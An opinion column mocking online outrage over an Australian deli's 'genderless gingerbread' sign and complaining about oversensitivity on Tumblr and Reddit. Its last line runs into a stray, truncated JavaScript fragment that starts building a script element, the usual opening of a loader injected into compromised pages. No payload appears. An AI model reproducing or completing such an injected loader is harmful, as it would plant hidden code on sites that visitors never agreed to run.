Is That the Way the Gender-Neutral Cookie Crumbles?

By Mhairi McNeil


When Martin Luther King dreamt that one day all boys and girls would join hands in solidarity – I wonder if he was aware that in 50 or so years there would be folk complaining that he’s disrespecting amputees. Or do these so-called “Social Justice Warriors” only care when it’s about baked goods?

Let me give you some background information. Last week a deli in Australia sold “organic genderless gingerbread figures” and after a photo of the tasty-goodness and sign that advertised them was shared online, a Reddit thread was started. It asked “So this is what the world is coming to…” and was met with outrage and bemusement. Unfortunately, too much of the former turned this tongue-in-cheek humour into an outcry for everyone to check privileges or to “calm the fuck down” – is social media and the platform it gives to social justice campaigners destroying people’s sense of humour?


I’ve used Tumblr for years. When I get bored of refreshing all of my other social media apps I go on and laugh at stupid videos, pictures of Nicholas Cage as various Disney Princesses and drool over food blogs. What I don’t love is the constant harassment you’re met with whenever you say something innocent that is seen as offensive by a few.


And I’m not alone. Another Redditor summarised this idea perfectly when they commented on the thread with “People here are easily offended and emotional over how easily offended and emotional they think other people are.” This is exactly the problem, certain folk need to take a step back and let others decide how they feel before deciding for them and jumping down everyone’s virtual throats. One of the employees of the deli actually weighed-in on the situation by also commenting on the thread and explaining; “Ha, I actually work at this place and this was definitely a joke.”


So there we are. One man’s joke is another man’s insult. Or should I have kept that phrase gender-neutral? I’ll let Police Constable Tumblr decide. If he/she can get offline for long enough to make some actual arrests.var d=document;var s=d.createElement(‘script’);